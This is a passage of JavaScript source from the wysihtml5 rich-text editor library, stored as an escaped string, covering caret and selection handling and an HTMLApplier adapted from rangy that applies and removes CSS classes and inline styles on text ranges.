return;\n      }\n\n      if (!range.collapsed) {\n        range2 = range.cloneRange();\n        node2 = range2.createContextualFragment(placeholderHtml);\n        range2.collapse(false);\n        range2.insertNode(node2);\n        range2.detach();\n      }\n\n      node = range.createContextualFragment(placeholderHtml);\n      range.insertNode(node);\n\n      if (node2) {\n        caretPlaceholder = this.contain.querySelectorAll(\".\" + className);\n        range.setStartBefore(caretPlaceholder[0]);\n        range.setEndAfter(caretPlaceholder[caretPlaceholder.length -1]);\n      }\n      this.setSelection(range);\n\n      // Make sure that a potential error doesn't cause our placeholder element to be left as a placeholder\n      try {\n        method(range.startContainer, range.endContainer);\n      } catch(e) {\n        setTimeout(function() { throw e; }, 0);\n      }\n      caretPlaceholder = this.contain.querySelectorAll(\".\" + className);\n      if (caretPlaceholder && caretPlaceholder.length) {\n        newRange = rangy.createRange(this.doc);\n        nextSibling = caretPlaceholder[0].nextSibling;\n        if (caretPlaceholder.length > 1) {\n          prevSibling = caretPlaceholder[caretPlaceholder.length -1].previousSibling;\n        }\n        if (prevSibling && nextSibling) {\n          newRange.setStartBefore(nextSibling);\n          newRange.setEndAfter(prevSibling);\n        } else {\n          newCaretPlaceholder = this.doc.createTextNode(wysihtml5.INVISIBLE_SPACE);\n          dom.insert(newCaretPlaceholder).after(caretPlaceholder[0]);\n          newRange.setStartBefore(newCaretPlaceholder);\n          newRange.setEndAfter(newCaretPlaceholder);\n        }\n        this.setSelection(newRange);\n        for (var i = caretPlaceholder.length; i--;) {\n         caretPlaceholder[i].parentNode.removeChild(caretPlaceholder[i]);\n        }\n\n      } else {\n        // fallback for when all hell breaks loose\n        this.contain.focus();\n      }\n\n      if (restoreScrollPosition) {\n        body.scrollTop  = oldScrollTop;\n        body.scrollLeft = oldScrollLeft;\n      }\n\n      // Remove it again, just to make sure that the placeholder is definitely out of the dom tree\n      try {\n        caretPlaceholder.parentNode.removeChild(caretPlaceholder);\n      } catch(e2) {}\n    },\n\n    set: function(node, offset) {\n      var newRange = rangy.createRange(this.doc);\n      newRange.setStart(node, offset || 0);\n      this.setSelection(newRange);\n    },\n\n    /**\n     * Insert html at the caret position and move the cursor after the inserted html\n     *\n     * @param {String} html HTML string to insert\n     * @example\n     *    selection.insertHTML(\"<p>foobar</p>\");\n     */\n    insertHTML: function(html) {\n      var range     = rangy.createRange(this.doc),\n          node = this.doc.createElement('DIV'),\n          fragment = this.doc.createDocumentFragment(),\n          lastChild;\n\n      node.innerHTML = html;\n      lastChild = node.lastChild;\n\n      while (node.firstChild) {\n        fragment.appendChild(node.firstChild);\n      }\n      this.insertNode(fragment);\n\n      if (lastChild) {\n        this.setAfter(lastChild);\n      }\n    },\n\n    /**\n     * Insert a node at the caret position and move the cursor behind it\n     *\n     * @param {Object} node HTML string to insert\n     * @example\n     *    selection.insertNode(document.createTextNode(\"foobar\"));\n     */\n    insertNode: function(node) {\n      var range = this.getRange();\n      if (range) {\n        range.insertNode(node);\n      }\n    },\n\n    /**\n     * Wraps current selection with the given node\n     *\n     * @param {Object} node The node to surround the selected elements with\n     */\n    surround: function(nodeOptions) {\n      var ranges = this.getOwnRanges(),\n          node, nodes = [];\n      if (ranges.length == 0) {\n        return nodes;\n      }\n\n      for (var i = ranges.length; i--;) {\n        node = this.doc.createElement(nodeOptions.nodeName);\n        nodes.push(node);\n        if (nodeOptions.className) {\n          node.className = nodeOptions.className;\n        }\n        if (nodeOptions.cssStyle) {\n          node.setAttribute('style', nodeOptions.cssStyle);\n        }\n        try {\n          // This only works when the range boundaries are not overlapping other elements\n          ranges[i].surroundContents(node);\n          this.selectNode(node);\n        } catch(e) {\n          // fallback\n          node.appendChild(ranges[i].extractContents());\n          ranges[i].insertNode(node);\n        }\n      }\n      return nodes;\n    },\n\n    deblockAndSurround: function(nodeOptions) {\n      var tempElement = this.doc.createElement('div'),\n          range = rangy.createRange(this.doc),\n          tempDivElements,\n          tempElements,\n          firstChild;\n\n      tempElement.className = nodeOptions.className;\n\n      this.composer.commands.exec(\"formatBlock\", nodeOptions.nodeName, nodeOptions.className);\n      tempDivElements = this.contain.querySelectorAll(\".\" + nodeOptions.className);\n      if (tempDivElements[0]) {\n        tempDivElements[0].parentNode.insertBefore(tempElement, tempDivElements[0]);\n\n        range.setStartBefore(tempDivElements[0]);\n        range.setEndAfter(tempDivElements[tempDivElements.length - 1]);\n        tempElements = range.extractContents();\n\n        while (tempElements.firstChild) {\n          firstChild = tempElements.firstChild;\n          if (firstChild.nodeType == 1 && wysihtml5.dom.hasClass(firstChild, nodeOptions.className)) {\n            while (firstChild.firstChild) {\n              tempElement.appendChild(firstChild.firstChild);\n            }\n            if (firstChild.nodeName !== \"BR\") { tempElement.appendChild(this.doc.createElement('br')); }\n            tempElements.removeChild(firstChild);\n          } else {\n            tempElement.appendChild(firstChild);\n          }\n        }\n      } else {\n        tempElement = null;\n      }\n\n      return tempElement;\n    },\n\n    /**\n     * Scroll the current caret position into the view\n     * FIXME: This is a bit hacky, there might be a smarter way of doing this\n     *\n     * @example\n     *    selection.scrollIntoView();\n     */\n    scrollIntoView: function() {\n      var doc           = this.doc,\n          tolerance     = 5, // px\n          hasScrollBars = doc.documentElement.scrollHeight > doc.documentElement.offsetHeight,\n          tempElement   = doc._wysihtml5ScrollIntoViewElement = doc._wysihtml5ScrollIntoViewElement || (function() {\n            var element = doc.createElement(\"span\");\n            // The element needs content in order to be able to calculate it's position properly\n            element.innerHTML = wysihtml5.INVISIBLE_SPACE;\n            return element;\n          })(),\n          offsetTop;\n\n      if (hasScrollBars) {\n        this.insertNode(tempElement);\n        offsetTop = _getCumulativeOffsetTop(tempElement);\n        tempElement.parentNode.removeChild(tempElement);\n        if (offsetTop >= (doc.body.scrollTop + doc.documentElement.offsetHeight - tolerance)) {\n          doc.body.scrollTop = offsetTop;\n        }\n      }\n    },\n\n    /**\n     * Select line where the caret is in\n     */\n    selectLine: function() {\n      if (wysihtml5.browser.supportsSelectionModify()) {\n        this._selectLine_W3C();\n      } else if (this.doc.selection) {\n        this._selectLine_MSIE();\n      }\n    },\n\n    /**\n     * See https://developer.mozilla.org/en/DOM/Selection/modify\n     */\n    _selectLine_W3C: function() {\n      var win       = this.doc.defaultView,\n          selection = win.getSelection();\n      selection.modify(\"move\", \"left\", \"lineboundary\");\n      selection.modify(\"extend\", \"right\", \"lineboundary\");\n    },\n\n    _selectLine_MSIE: function() {\n      var range       = this.doc.selection.createRange(),\n          rangeTop    = range.boundingTop,\n          scrollWidth = this.doc.body.scrollWidth,\n          rangeBottom,\n          rangeEnd,\n          measureNode,\n          i,\n          j;\n\n      if (!range.moveToPoint) {\n        return;\n      }\n\n      if (rangeTop === 0) {\n        // Don't know why, but when the selection ends at the end of a line\n        // range.boundingTop is 0\n        measureNode = this.doc.createElement(\"span\");\n        this.insertNode(measureNode);\n        rangeTop = measureNode.offsetTop;\n        measureNode.parentNode.removeChild(measureNode);\n      }\n\n      rangeTop += 1;\n\n      for (i=-10; i<scrollWidth; i+=2) {\n        try {\n          range.moveToPoint(i, rangeTop);\n          break;\n        } catch(e1) {}\n      }\n\n      // Investigate the following in order to handle multi line selections\n      // rangeBottom = rangeTop + (rangeHeight ? (rangeHeight - 1) : 0);\n      rangeBottom = rangeTop;\n      rangeEnd = this.doc.selection.createRange();\n      for (j=scrollWidth; j>=0; j--) {\n        try {\n          rangeEnd.moveToPoint(j, rangeBottom);\n          break;\n        } catch(e2) {}\n      }\n\n      range.setEndPoint(\"EndToEnd\", rangeEnd);\n      range.select();\n    },\n\n    getText: function() {\n      var selection = this.getSelection();\n      return selection ? selection.toString() : \"\";\n    },\n\n    getNodes: function(nodeType, filter) {\n      var range = this.getRange();\n      if (range) {\n        return range.getNodes([nodeType], filter);\n      } else {\n        return [];\n      }\n    },\n\n    fixRangeOverflow: function(range) {\n      if (this.contain && this.contain.firstChild && range) {\n        var containment = range.compareNode(this.contain);\n        if (containment !== 2) {\n          if (containment === 1) {\n            range.setStartBefore(this.contain.firstChild);\n          }\n          if (containment === 0) {\n            range.setEndAfter(this.contain.lastChild);\n          }\n          if (containment === 3) {\n            range.setStartBefore(this.contain.firstChild);\n            range.setEndAfter(this.contain.lastChild);\n          }\n        } else if (this._detectInlineRangeProblems(range)) {\n          var previousElementSibling = range.endContainer.previousElementSibling;\n          if (previousElementSibling) {\n            range.setEnd(previousElementSibling, this._endOffsetForNode(previousElementSibling));\n          }\n        }\n      }\n    },\n\n    _endOffsetForNode: function(node) {\n      var range = document.createRange();\n      range.selectNodeContents(node);\n      return range.endOffset;\n    },\n\n    _detectInlineRangeProblems: function(range) {\n      var position = dom.compareDocumentPosition(range.startContainer, range.endContainer);\n      return (\n        range.endOffset == 0 &&\n        position & 4 //Node.DOCUMENT_POSITION_FOLLOWING\n      );\n    },\n\n    getRange: function(dontFix) {\n      var selection = this.getSelection(),\n          range = selection && selection.rangeCount && selection.getRangeAt(0);\n\n      if (dontFix !== true) {\n        this.fixRangeOverflow(range);\n      }\n\n      return range;\n    },\n\n    getOwnUneditables: function() {\n      var allUneditables = dom.query(this.contain, '.' + this.unselectableClass),\n          deepUneditables = dom.query(allUneditables, '.' + this.unselectableClass);\n\n      return wysihtml5.lang.array(allUneditables).without(deepUneditables);\n    },\n\n    // Returns an array of ranges that belong only to this editable\n    // Needed as uneditable block in contenteditabel can split range into pieces\n    // If manipulating content reverse loop is usually needed as manipulation can shift subsequent ranges\n    getOwnRanges: function()  {\n      var ranges = [],\n          r = this.getRange(),\n          tmpRanges;\n\n      if (r) { ranges.push(r); }\n\n      if (this.unselectableClass && this.contain && r) {\n          var uneditables = this.getOwnUneditables(),\n              tmpRange;\n          if (uneditables.length > 0) {\n            for (var i = 0, imax = uneditables.length; i < imax; i++) {\n              tmpRanges = [];\n              for (var j = 0, jmax = ranges.length; j < jmax; j++) {\n                if (ranges[j]) {\n                  switch (ranges[j].compareNode(uneditables[i])) {\n                    case 2:\n                      // all selection inside uneditable. remove\n                    break;\n                    case 3:\n                      //section begins before and ends after uneditable. spilt\n                      tmpRange = ranges[j].cloneRange();\n                      tmpRange.setEndBefore(uneditables[i]);\n                      tmpRanges.push(tmpRange);\n\n                      tmpRange = ranges[j].cloneRange();\n                      tmpRange.setStartAfter(uneditables[i]);\n                      tmpRanges.push(tmpRange);\n                    break;\n                    default:\n                      // in all other cases uneditable does not touch selection. dont modify\n                      tmpRanges.push(ranges[j]);\n                  }\n                }\n                ranges = tmpRanges;\n              }\n            }\n          }\n      }\n      return ranges;\n    },\n\n    getSelection: function() {\n      return rangy.getSelection(this.doc.defaultView || this.doc.parentWindow);\n    },\n\n    setSelection: function(range) {\n      var win       = this.doc.defaultView || this.doc.parentWindow,\n          selection = rangy.getSelection(win);\n      return selection.setSingleRange(range);\n    },\n\n    createRange: function() {\n      return rangy.createRange(this.doc);\n    },\n\n    isCollapsed: function() {\n        return this.getSelection().isCollapsed;\n    },\n\n    getHtml: function() {\n      return this.getSelection().toHtml();\n    },\n\n    isEndToEndInNode: function(nodeNames) {\n      var range = this.getRange(),\n          parentElement = range.commonAncestorContainer,\n          startNode = range.startContainer,\n          endNode = range.endContainer;\n\n\n        if (parentElement.nodeType === wysihtml5.TEXT_NODE) {\n          parentElement = parentElement.parentNode;\n        }\n\n        if (startNode.nodeType === wysihtml5.TEXT_NODE && !(/^\\s*$/).test(startNode.data.substr(range.startOffset))) {\n          return false;\n        }\n\n        if (endNode.nodeType === wysihtml5.TEXT_NODE && !(/^\\s*$/).test(endNode.data.substr(range.endOffset))) {\n          return false;\n        }\n\n        while (startNode && startNode !== parentElement) {\n          if (startNode.nodeType !== wysihtml5.TEXT_NODE && !wysihtml5.dom.contains(parentElement, startNode)) {\n            return false;\n          }\n          if (wysihtml5.dom.domNode(startNode).prev({ignoreBlankTexts: true})) {\n            return false;\n          }\n          startNode = startNode.parentNode;\n        }\n\n        while (endNode && endNode !== parentElement) {\n          if (endNode.nodeType !== wysihtml5.TEXT_NODE && !wysihtml5.dom.contains(parentElement, endNode)) {\n            return false;\n          }\n          if (wysihtml5.dom.domNode(endNode).next({ignoreBlankTexts: true})) {\n            return false;\n          }\n          endNode = endNode.parentNode;\n        }\n\n        return (wysihtml5.lang.array(nodeNames).contains(parentElement.nodeName)) ? parentElement : false;\n    },\n\n    deselect: function() {\n      var sel = this.getSelection();\n      sel && sel.removeAllRanges();\n    }\n  });\n\n})(wysihtml5);\n;/**\n * Inspired by the rangy CSS Applier module written by Tim Down and licensed under the MIT license.\n * http://code.google.com/p/rangy/\n *\n * changed in order to be able ...\n *    - to use custom tags\n *    - to detect and replace similar css classes via reg exp\n */\n(function(wysihtml5, rangy) {\n  var defaultTagName = \"span\";\n\n  var REG_EXP_WHITE_SPACE = /\\s+/g;\n\n  function hasClass(el, cssClass, regExp) {\n    if (!el.className) {\n      return false;\n    }\n\n    var matchingClassNames = el.className.match(regExp) || [];\n    return matchingClassNames[matchingClassNames.length - 1] === cssClass;\n  }\n\n  function hasStyleAttr(el, regExp) {\n    if (!el.getAttribute || !el.getAttribute('style')) {\n      return false;\n    }\n    var matchingStyles = el.getAttribute('style').match(regExp);\n    return  (el.getAttribute('style').match(regExp)) ? true : false;\n  }\n\n  function addStyle(el, cssStyle, regExp) {\n    if (el.getAttribute('style')) {\n      removeStyle(el, regExp);\n      if (el.getAttribute('style') && !(/^\\s*$/).test(el.getAttribute('style'))) {\n        el.setAttribute('style', cssStyle + \";\" + el.getAttribute('style'));\n      } else {\n        el.setAttribute('style', cssStyle);\n      }\n    } else {\n      el.setAttribute('style', cssStyle);\n    }\n  }\n\n  function addClass(el, cssClass, regExp) {\n    if (el.className) {\n      removeClass(el, regExp);\n      el.className += \" \" + cssClass;\n    } else {\n      el.className = cssClass;\n    }\n  }\n\n  function removeClass(el, regExp) {\n    if (el.className) {\n      el.className = el.className.replace(regExp, \"\");\n    }\n  }\n\n  function removeStyle(el, regExp) {\n    var s,\n        s2 = [];\n    if (el.getAttribute('style')) {\n      s = el.getAttribute('style').split(';');\n      for (var i = s.length; i--;) {\n        if (!s[i].match(regExp) && !(/^\\s*$/).test(s[i])) {\n          s2.push(s[i]);\n        }\n      }\n      if (s2.length) {\n        el.setAttribute('style', s2.join(';'));\n      } else {\n        el.removeAttribute('style');\n      }\n    }\n  }\n\n  function getMatchingStyleRegexp(el, style) {\n    var regexes = [],\n        sSplit = style.split(';'),\n        elStyle = el.getAttribute('style');\n\n    if (elStyle) {\n      elStyle = elStyle.replace(/\\s/gi, '').toLowerCase();\n      regexes.push(new RegExp(\"(^|\\\\s|;)\" + style.replace(/\\s/gi, '').replace(/([\\(\\)])/gi, \"\\\\$1\").toLowerCase().replace(\";\", \";?\").replace(/rgb\\\\\\((\\d+),(\\d+),(\\d+)\\\\\\)/gi, \"\\\\s?rgb\\\\($1,\\\\s?$2,\\\\s?$3\\\\)\"), \"gi\"));\n\n      for (var i = sSplit.length; i-- > 0;) {\n        if (!(/^\\s*$/).test(sSplit[i])) {\n          regexes.push(new RegExp(\"(^|\\\\s|;)\" + sSplit[i].replace(/\\s/gi, '').replace(/([\\(\\)])/gi, \"\\\\$1\").toLowerCase().replace(\";\", \";?\").replace(/rgb\\\\\\((\\d+),(\\d+),(\\d+)\\\\\\)/gi, \"\\\\s?rgb\\\\($1,\\\\s?$2,\\\\s?$3\\\\)\"), \"gi\"));\n        }\n      }\n      for (var j = 0, jmax = regexes.length; j < jmax; j++) {\n        if (elStyle.match(regexes[j])) {\n          return regexes[j];\n        }\n      }\n    }\n\n    return false;\n  }\n\n  function isMatchingAllready(node, tags, style, className) {\n    if (style) {\n      return getMatchingStyleRegexp(node, style);\n    } else if (className) {\n      return wysihtml5.dom.hasClass(node, className);\n    } else {\n      return rangy.dom.arrayContains(tags, node.tagName.toLowerCase());\n    }\n  }\n\n  function areMatchingAllready(nodes, tags, style, className) {\n    for (var i = nodes.length; i--;) {\n      if (!isMatchingAllready(nodes[i], tags, style, className)) {\n        return false;\n      }\n    }\n    return nodes.length ? true : false;\n  }\n\n  function removeOrChangeStyle(el, style, regExp) {\n\n    var exactRegex = getMatchingStyleRegexp(el, style);\n    if (exactRegex) {\n      // adding same style value on property again removes style\n      removeStyle(el, exactRegex);\n      return \"remove\";\n    } else {\n      // adding new style value changes value\n      addStyle(el, style, regExp);\n      return \"change\";\n    }\n  }\n\n  function hasSameClasses(el1, el2) {\n    return el1.className.replace(REG_EXP_WHITE_SPACE, \" \") == el2.className.replace(REG_EXP_WHITE_SPACE, \" \");\n  }\n\n  function replaceWithOwnChildren(el) {\n    var parent = el.parentNode;\n    while (el.firstChild) {\n      parent.insertBefore(el.firstChild, el);\n    }\n    parent.removeChild(el);\n  }\n\n  function elementsHaveSameNonClassAttributes(el1, el2) {\n    if (el1.attributes.length != el2.attributes.length) {\n      return false;\n    }\n    for (var i = 0, len = el1.attributes.length, attr1, attr2, name; i < len; ++i) {\n      attr1 = el1.attributes[i];\n      name = attr1.name;\n      if (name != \"class\") {\n        attr2 = el2.attributes.getNamedItem(name);\n        if (attr1.specified != attr2.specified) {\n          return false;\n        }\n        if (attr1.specified && attr1.nodeValue !== attr2.nodeValue) {\n          return false;\n        }\n      }\n    }\n    return true;\n  }\n\n  function isSplitPoint(node, offset) {\n    if (rangy.dom.isCharacterDataNode(node)) {\n      if (offset == 0) {\n        return !!node.previousSibling;\n      } else if (offset == node.length) {\n        return !!node.nextSibling;\n      } else {\n        return true;\n      }\n    }\n\n    return offset > 0 && offset < node.childNodes.length;\n  }\n\n  function splitNodeAt(node, descendantNode, descendantOffset, container) {\n    var newNode;\n    if (rangy.dom.isCharacterDataNode(descendantNode)) {\n      if (descendantOffset == 0) {\n        descendantOffset = rangy.dom.getNodeIndex(descendantNode);\n        descendantNode = descendantNode.parentNode;\n      } else if (descendantOffset == descendantNode.length) {\n        descendantOffset = rangy.dom.getNodeIndex(descendantNode) + 1;\n        descendantNode = descendantNode.parentNode;\n      } else {\n        newNode = rangy.dom.splitDataNode(descendantNode, descendantOffset);\n      }\n    }\n    if (!newNode) {\n      if (!container || descendantNode !== container) {\n\n        newNode = descendantNode.cloneNode(false);\n        if (newNode.id) {\n          newNode.removeAttribute(\"id\");\n        }\n        var child;\n        while ((child = descendantNode.childNodes[descendantOffset])) {\n          newNode.appendChild(child);\n        }\n        rangy.dom.insertAfter(newNode, descendantNode);\n\n      }\n    }\n    return (descendantNode == node) ? newNode :  splitNodeAt(node, newNode.parentNode, rangy.dom.getNodeIndex(newNode), container);\n  }\n\n  function Merge(firstNode) {\n    this.isElementMerge = (firstNode.nodeType == wysihtml5.ELEMENT_NODE);\n    this.firstTextNode = this.isElementMerge ? firstNode.lastChild : firstNode;\n    this.textNodes = [this.firstTextNode];\n  }\n\n  Merge.prototype = {\n    doMerge: function() {\n      var textBits = [], textNode, parent, text;\n      for (var i = 0, len = this.textNodes.length; i < len; ++i) {\n        textNode = this.textNodes[i];\n        parent = textNode.parentNode;\n        textBits[i] = textNode.data;\n        if (i) {\n          parent.removeChild(textNode);\n          if (!parent.hasChildNodes()) {\n            parent.parentNode.removeChild(parent);\n          }\n        }\n      }\n      this.firstTextNode.data = text = textBits.join(\"\");\n      return text;\n    },\n\n    getLength: function() {\n      var i = this.textNodes.length, len = 0;\n      while (i--) {\n        len += this.textNodes[i].length;\n      }\n      return len;\n    },\n\n    toString: function() {\n      var textBits = [];\n      for (var i = 0, len = this.textNodes.length; i < len; ++i) {\n        textBits[i] = \"'\" + this.textNodes[i].data + \"'\";\n      }\n      return \"[Merge(\" + textBits.join(\",\") + \")]\";\n    }\n  };\n\n  function HTMLApplier(tagNames, cssClass, similarClassRegExp, normalize, cssStyle, similarStyleRegExp, container) {\n    this.tagNames = tagNames || [defaultTagName];\n    this.cssClass = cssClass || ((cssClass === false) ? false : \"\");\n    this.similarClassRegExp = similarClassRegExp;\n    this.cssStyle = cssStyle || \"\";\n    this.similarStyleRegExp = similarStyleRegExp;\n    this.normalize = normalize;\n    this.applyToAnyTagName = false;\n    this.container = container;\n  }\n\n  HTMLApplier.prototype = {\n    getAncestorWithClass: function(node) {\n      var cssClassMatch;\n      while (node) {\n        cssClassMatch = this.cssClass ? hasClass(node, this.cssClass, this.similarClassRegExp) : (this.cssStyle !== \"\") ? false : true;\n        if (node.nodeType == wysihtml5.ELEMENT_NODE && node.getAttribute(\"contenteditable\") != \"false\" &&  rangy.dom.arrayContains(this.tagNames, node.tagName.toLowerCase()) && cssClassMatch) {\n          return node;\n        }\n        node = node.parentNode;\n      }\n      return false;\n    },\n\n    // returns parents of node with given style attribute\n    getAncestorWithStyle: function(node) {\n      var cssStyleMatch;\n      while (node) {\n        cssStyleMatch = this.cssStyle ? hasStyleAttr(node, this.similarStyleRegExp) : false;\n\n        if (node.nodeType == wysihtml5.ELEMENT_NODE && node.getAttribute(\"contenteditable\") != \"false\" && rangy.dom.arrayContains(this.tagNames, node.tagName.toLowerCase()) && cssStyleMatch) {\n          return node;\n        }\n        node = node.parentNode;\n      }\n      return false;\n    },\n\n    getMatchingAncestor: function(node) {\n      var ancestor = this.getAncestorWithClass(node),\n          matchType = false;\n\n      if (!ancestor) {\n        ancestor = this.getAncestorWithStyle(node);\n        if (ancestor) {\n          matchType = \"style\";\n        }\n      } else {\n        if (this.cssStyle) {\n          matchType = \"class\";\n        }\n      }\n\n      return {\n        \"element\": ancestor,\n        \"type\": matchType\n      };\n    },\n\n    // Normalizes nodes after applying a CSS class to a Range.\n    postApply: function(textNodes, range) {\n      var firstNode = textNodes[0], lastNode = textNodes[textNodes.length - 1];\n\n      var merges = [], currentMerge;\n\n      var rangeStartNode = firstNode, rangeEndNode = lastNode;\n      var rangeStartOffset = 0, rangeEndOffset = lastNode.length;\n\n      var textNode, precedingTextNode;\n\n      for (var i = 0, len = textNodes.length; i < len; ++i) {\n        textNode = textNodes[i];\n        precedingTextNode = null;\n        if (textNode && textNode.parentNode) {\n          precedingTextNode = this.getAdjacentMergeableTextNode(textNode.parentNode, false);\n        }\n        if (precedingTextNode) {\n          if (!currentMerge) {\n            currentMerge = new Merge(precedingTextNode);\n            merges.push(currentMerge);\n          }\n          currentMerge.textNodes.push(textNode);\n          if (textNode === firstNode) {\n            rangeStartNode = currentMerge.firstTextNode;\n            rangeStartOffset = rangeStartNode.length;\n          }\n          if (textNode === lastNode) {\n            rangeEndNode = currentMerge.firstTextNode;\n            rangeEndOffset = currentMerge.getLength();\n          }\n        } else {\n          currentMerge = null;\n        }\n      }\n      // Test whether the first node after the range needs merging\n      if(lastNode && lastNode.parentNode) {\n        var nextTextNode = this.getAdjacentMergeableTextNode(lastNode.parentNode, true);\n        if (nextTextNode) {\n          if (!currentMerge) {\n            currentMerge = new Merge(lastNode);\n            merges.push(currentMerge);\n          }\n          currentMerge.textNodes.push(nextTextNode);\n        }\n      }\n      // Do the merges\n      if (merges.length) {\n        for (i = 0, len = merges.length; i < len; ++i) {\n          merges[i].doMerge();\n        }\n        // Set the range boundaries\n        range.setStart(rangeStartNode, rangeStartOffset);\n        range.setEnd(rangeEndNode, rangeEndOffset);\n      }\n    },\n\n    getAdjacentMergeableTextNode: function(node, forward) {\n        var isTextNode = (node.nodeType == wysihtml5.TEXT_NODE);\n        var el = isTextNode ? node.parentNode : node;\n        var adjacentNode;\n        var propName = forward ? \"nextSibling\" : \"previousSibling\";\n        if (isTextNode) {\n          // Can merge if the node's previous/next sibling is a text node\n          adjacentNode = node[propName];\n          if (adjacentNode && adjacentNode.nodeType == wysihtml5.TEXT_NODE) {\n            return adjacentNode;\n          }\n        } else {\n          // Compare element with its sibling\n          adjacentNode = el[propName];\n          if (adjacentNode && this.areElementsMergeable(node, adjacentNode)) {\n            return adjacentNode[forward ? \"firstChild\" : \"lastChild\"];\n          }\n        }\n        return null;\n    },\n\n    areElementsMergeable: function(el1, el2) {\n      return rangy.dom.arrayContains(this.tagNames, (el1.tagName || \"\").toLowerCase())\n        && rangy.dom.arrayContains(this.tagNames, (el2.tagName || \"\").toLowerCase())\n        && hasSameClasses(el1, el2)\n        && elementsHaveSameNonClassAttributes(el1, el2);\n    },\n\n    createContainer: function(doc) {\n      var el = doc.createElement(this.tagNames[0]);\n      if (this.cssClass) {\n        el.className = this.cssClass;\n      }\n      if (this.cssStyle) {\n        el.setAttribute('style', this.cssStyle);\n      }\n      return el;\n    },\n\n    applyToTextNode: function(textNode) {\n      var parent = textNode.parentNode;\n      if (parent.childNodes.length == 1 && rangy.dom.arrayContains(this.tagNames, parent.tagName.toLowerCase())) {\n\n        if (this.cssClass) {\n          addClass(parent, this.cssClass, this.similarClassRegExp);\n        }\n        if (this.cssStyle) {\n          addStyle(parent, this.cssStyle, this.similarStyleRegExp);\n        }\n      } else {\n        var el = this.createContainer(rangy.dom.getDocument(textNode));\n        textNode.parentNode.insertBefore(el, textNode);\n        el.appendChild(textNode);\n      }\n    },\n\n    isRemovable: function(el) {\n      return rangy.dom.arrayContains(this.tagNames, el.tagName.toLowerCase()) &&\n              wysihtml5.lang.string(el.className).trim() === \"\" &&\n              (\n                !el.getAttribute('style') ||\n                wysihtml5.lang.string(el.getAttribute('style')).trim() === \"\"\n              );\n    },\n\n    undoToTextNode: function(textNode, range, ancestorWithClass, ancestorWithStyle) {\n      var styleMode = (ancestorWithClass) ? false : true,\n          ancestor = ancestorWithClass || ancestorWithStyle,\n          styleChanged = false;\n      if (!range.containsNode(ancestor)) {\n        // Split out the portion of the ancestor from which we can remove the CSS class\n        var ancestorRange = range.cloneRange();\n            ancestorRange.selectNode(ancestor);\n\n        if (ancestorRange.isPointInRange(range.endContainer, range.endOffset) && isSplitPoint(range.endContainer, range.endOffset)) {\n            splitNodeAt(ancestor, range.endContainer, range.endOffset, this.container);\n            range.setEndAfter(ancestor);\n        }\n        if (ancestorRange.isPointInRange(range.startContainer, range.startOffset) && isSplitPoint(range.startContainer, range.startOffset)) {\n            ancestor = splitNodeAt(ancestor, range.startContainer, range.startOffset, this.container);\n        }\n      }\n\n      if (!styleMode && this.similarClassRegExp) {\n        removeClass(ancestor, this.similarClassRegExp);\n      }\n\n      if (styleMode && this.similarStyleRegExp) {\n        styleChanged = (removeOrChangeStyle(ancestor, this.cssStyle, this.similarStyleRegExp) === \"change\");\n      }\n      if (this.isRemovable(ancestor) && !styleChanged) {\n        replaceWithOwnChildren(ancestor);\n      }\n    },\n\n    applyToRange: function(range) {\n        var textNodes;\n        for (var ri = range.length; ri--;) {\n            textNodes = range[ri].getNodes([wysihtml5.TEXT_NODE]);\n\n            if (!textNodes.length) {\n              try {\n                var node = this.createContainer(range[ri].endContainer.ownerDocument);\n                range[ri].surroundContents(node);\n                this.selectNode(range[ri], node);\n                return;\n              } catch(e) {}\n            }\n\n            range[ri].splitBoundaries();\n            textNodes = range[ri].getNodes([wysihtml5.TEXT_NODE]);\n            if (textNodes.length) {\n              var textNode;\n\n              for (var i = 0, len = textNodes.length; i < len; ++i) {\n                textNode = textNodes[i];\n                if (!this.getMatchingAncestor(textNode).element) {\n                  this.applyToTextNode(textNode);\n                }\n              }\n\n              range[ri].setStart(textNodes[0], 0);\n              textNode = textNodes[textNodes.length - 1];\n              range[ri].setEnd(textNode, textNode.length);\n\n              if (this.normalize) {\n                this.postApply(textNodes, range[ri]);\n              }\n            }\n\n        }\n    },\n\n    undoToRange: function(range) {\n      var textNodes, textNode, ancestorWithClass, ancestorWithStyle, ancestor;\n      for (var ri = range.length; ri--;) {\n\n          textNodes = range[ri].getNodes([wysihtml5.TEXT_NODE]);\n          if (textNodes.length) {\n            range[ri].splitBoundaries();\n            textNodes = range[ri].getNodes([wysihtml5.TEXT_NODE]);\n          } else {\n            var doc = range[ri].endContainer.ownerDocument,\n                node = doc.createTextNode(wysihtml5.INVISIBLE_SPACE);\n            range[ri].insertNode(node);\n            range[ri].selectNode(node);\n            textNodes = [node];\n          }\n\n          for (var i = 0, len = textNodes.length; i < len; ++i) {\n            if (range[ri].isValid()) {\n              textNode = textNodes[i];\n\n              ancestor = this.getMatchingAncestor(textNode);\n              if (ancestor.type === \"style\") {\n                this.undoToTextNode(textNode, range[ri], false, ancestor.element);\n              } else if (ancestor.element) {\n                this.undoToTextNode(textNode, range[ri], ancestor.element);\n              }\n            }\n          }\n\n          if (len == 1) {\n            this.selectNode(range[ri], textNodes[0]);\n          } else {\n            range[ri].setStart(textNodes[0], 0);\n            textNode = textNodes[textNodes.length - 1];\n            range[ri].setEnd(textNode, textNode.length);\n\n            if (this.normalize) {\n              this.postApply(textNodes, range[ri]);\n            }\n          }\n\n      }\n    },\n\n    selectNode: function(range, node) {\n      var isElement       = node.nodeType === wysihtml5.ELEMENT_NODE,\n          canHaveHTML     = \"canHaveHTML\" in node ? node.canHaveHTML : true,\n          content         = isElement ? node.innerHTML : node.data,\n          isEmpty         = (content === \"\" || content === wysihtml5.INVISIBLE_SPACE);\n\n      if (isEmpty && isElement && canHaveHTML) {\n        // Make sure that caret is visible in node by inserting a zero width no breaking space\n        try { node.innerHTML = wysihtml5.INVISIBLE_SPACE; } catch(e) {}\n      }\n      range.selectNodeContents(node);\n      if (isEmpty && isElement) {\n        range.collapse(false);\n      } else if (isEmpty) {\n        range.setStartAfter(node);\n        range.setEndAfter(node);\n      }\n    },\n\n    getTextSelectedByRange: function(textNode, range) {\n      var textRange = range.cloneRange();\n      textRange.selectNodeContents(textNode);\n\n      var intersectionRange = textRange.intersection(range);\n      var text = intersectionRange ? intersectionRange.toString() : \"\";\n      textRange.detach();\n\n      return text;\n    },\n\n    isAppliedToRange: function(range) {\n      var ancestors = [],\n          appliedType = \"full\",\n          ancestor, styleAncestor, textNodes;\n\n      for (var ri = range.length; ri--;) {\n\n        textNodes = range[ri].getNodes([wysihtml5.TEXT_NODE]);\n        if (!textNodes.length) 